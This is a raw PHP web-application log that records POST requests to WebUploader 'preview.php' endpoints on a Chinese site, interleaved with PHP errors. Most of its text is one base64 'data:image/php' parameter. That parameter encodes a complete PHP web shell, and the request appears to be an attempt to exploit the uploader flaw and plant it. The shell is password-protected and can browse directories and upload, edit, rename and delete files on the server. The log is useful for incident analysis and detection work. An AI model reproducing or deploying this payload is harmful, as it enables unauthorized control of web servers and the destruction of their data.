[2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:13+08:00 ] 116.213.36.234 POST www.51tianwei.com/webadmin/webuploader/preview.php [运行时间:0.002594s] [吞吐率:385.51req/s] [内存消耗:196.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'webadmin', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:14+08:00 ] 116.213.36.234 POST www.51tianwei.com/admin/lib/webuploader/0.1.5/server/preview.php [运行时间:0.002565s] [吞吐率:389.84req/s] [内存消耗:196.80kb] 